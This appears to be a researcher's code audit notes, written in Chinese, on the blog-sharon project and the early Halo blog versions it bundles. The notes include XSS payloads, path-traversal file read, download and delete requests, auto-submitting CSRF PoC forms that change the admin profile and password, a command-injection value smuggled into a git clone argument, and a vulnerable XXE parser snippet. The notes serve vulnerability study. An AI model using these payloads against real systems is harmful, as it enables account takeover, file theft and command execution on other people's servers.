blog-sharon和halo代码审计
https://github.com/qinxuewu/blog-sharon 先用fortify扫描
进去挨个看 # 1.h2-console jndi注入 默认开启h2-console Spring Boot + H2 spring.h2.console.enabled=true JDK < 6u201、7u191、8u182、11.0.1(LDAP) # 2.xss-1 fortify中没有,自己发现的:FrontCommentController这块是评论区的功能 而这个author是注册时候填入的用户名,构造一下: </a> <img src/onerror=prompt(document.cookie)> <!--和halo代码审计
发现无法注册,用户名太长, 把这个放在其他地方试一下,然后重新注册 但其实逻辑不在FrontCommentController,根据思路搜索过来 这块没过滤 再找找,注册时我们可控的几个参数,有没有其他xss触发的地方 blog_url可以 试一下 不行 # 3.重大发现 发现这个博客集成使用了halo的最初版本(5年前的),这是这个项目里的halo,看到使用小于1版本,几乎存在很多漏洞
而这之后halo爆出了很多漏洞 https://github.com/halo-dev/halo/issues?q=is%3Aissue+is%3Aclosed+label%3Avulnerability 然后就挨个对比找漏洞,顺便学习一下halo的其他漏洞 ## 先学halo漏洞 ### xff 第一个是2019-4-4提的 https://github.com/halo-dev/halo/issues/126 请求头添加了一个 X-Forwarded-For: 127.<img src=1 onerror=alert(123)>0.0.2
下载时间点最近的之前的版本,因为我找了一下,他没有说明在哪里修复的漏洞,所以只能这么看。 复现 admin主页的div, id="widgetLogsLastestBody",其中的box-body,是Ip出了问题 后端index接口直接获取log,而log是在登录的时候添加的 AdminController.getLogin()用来登录,下面是保存用户信息 LogServiceImpl.save() ServletUtil.getClientIP() -- hutool 这个是服务端配置的问题,x-forward-for字段用于反向代理时标注客户端的ip,多个反向代理多级,用“,”分割。 具体可以看: https://blog.csdn.net/qq_28165595/article/details/126185186 https://segmentfault.com/a/1190000015379116 X-Real-IP则是只记录一个IP Proxy-Client-IP:apache http服务器的请求加的头 WL-Proxy-Client-IP:apache http服务器的请求并且使用weblogic插件加上的头 src思路:这种漏洞大概会在记录IP的地方出现,到处插一下X-Forward-For
xss-2
FrontCommentController /newComment src思路:拼接可能会成功,取决于后台是否过滤 ### xss-3 丝毫没有过滤 ### 任意文件下载 /admin/backup/sendToEmail http://192.168.246.245:8081/admin/backup/sendToEmail?fileName=Users/xjj/sleep.sh&type=../../../../../.. 得到qq邮箱设置一个smtp的密码,用来使用smtp服务 src思路:有fileName想到读取文件,type可能是根据标识选取目录,所以type可以尝试用../../等 ### 任意文件读取 /admin/themes/getTpl src思路:点击模板,getTpl请求读取文件,字符串形式返回内容,可以尝试../../。 ### 任意文件删除 /admin/backup/delBackup 同理上文 ### csrf-1 /admin/tag/save 修改tag为xss
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://127.0.0.1:8081/admin/tag/save" method="POST">
<input type="hidden" name="tagName" value="m4ra7h0n" />
<input type="hidden" name="tagUrl" value="123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
失败原因:login拦截使用session判断,但是浏览器不是会自动加上cookie?并不会 换个浏览器就成功了,看来chrome有保护cookie ### csrf-2 /admin/profile/save
<html>
<body>
<form action="http://127.0.0.1:8081/admin/profile/save" method="POST" id="test">
<input type="hidden" name="userId" value="1" />
<input type="hidden" name="userPass" value="7fef6171469e80d32c0559f88b377245" />
<!-- password is admin888 -->
<input type="hidden" name="userName" value="m4ra7h0n" />
<input type="hidden" name="userDisplayName" value="a" />
<input type="hidden" name="userEmail" value="art3mis@art3mis.top" />
<input type="hidden" name="userAvatar" value="" />
<input type="hidden" name="userDesc" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
var f=document.getElementById("test");
f.submit();
</script>
</html>
修改成功,但是登录不上去,估计是数据存储的问题
丝毫没有过滤
csrf-3
/admin/posts/save
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.halo.run/admin/posts/save" method="POST">
<input type="hidden" name="postStatus" value="0" />
<input type="hidden" name="postTitle" value="test" />
<input type="hidden" name="postUrl" value="1554359315872" />
<input type="hidden" name="postContentMd" value="test123" />
<input type="hidden" name="postThumbnail" value="/static/halo-frontend/images/thumbnail/thumbnail.png" />
<input type="hidden" name="cateList" value="" />
<input type="hidden" name="tagList" value="" />
<input type="hidden" name="allowComment" value="1" />
<input type="hidden" name="postPassword" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
rce
https://github.com/halo-dev/halo/issues/134 /admin/themes/clone 丝毫没有过滤 https://www.jianshu.com/p/976b0dd64710
bat中是使用&,bash中使用;
open -na是对的,不能写-an
remoteAddr=a;open -na Calculator.app;
remoteAddr=a;open+-na+Calculator.app;
remoteAddr=a;open<-na<Calculator.app;
remoteAddr=a;/System/Applications/Calculator.app/Contents/MacOS/Calculator;
themeName = 2333
remoteAddr=a%3Bopen%20-na%20Calculator.app%3B&themeName=aaa
remoteAddr=a%3Bopen+-na+Calculator.app%3B&themeName=aaa
remoteAddr=a%3B%2FSystem%2FApplications%2FCalculator.app%2FContents%2FMacOS%2FCalculator%3B&themeName=aaa
执行不成功 他会自动拆分,我们要绕过空格限制
bash执行成功
git clone a;/System/Applications/Calculator.app/Contents/MacOS/Calculator; xxx
但是放到ProcessBuilder就不行了
### xxe https://github.com/halo-dev/halo/issues/423 halo-1.1.3-beta.2版本
run.halo.app.controller.admin.api.MigrateController#migrateHaloOldVersion
run.halo.app.service.impl.MigrateServiceImpl#migrate
run.halo.app.handler.migrate.MigrateHandlers#upload
run.halo.app.handler.migrate.WordPressMigrateHandler.migrate()
run.halo.app.utils.WordPressMigrateUtils.getRootElement
public static Element getRootElement(FileInputStream fileInputStream) {
try {
SAXReader saxReader = new SAXReader();
Document document = saxReader.read(fileInputStream);
return document.getRootElement();
} catch (Exception e) {
throw new RuntimeException("can not get root element");
}
}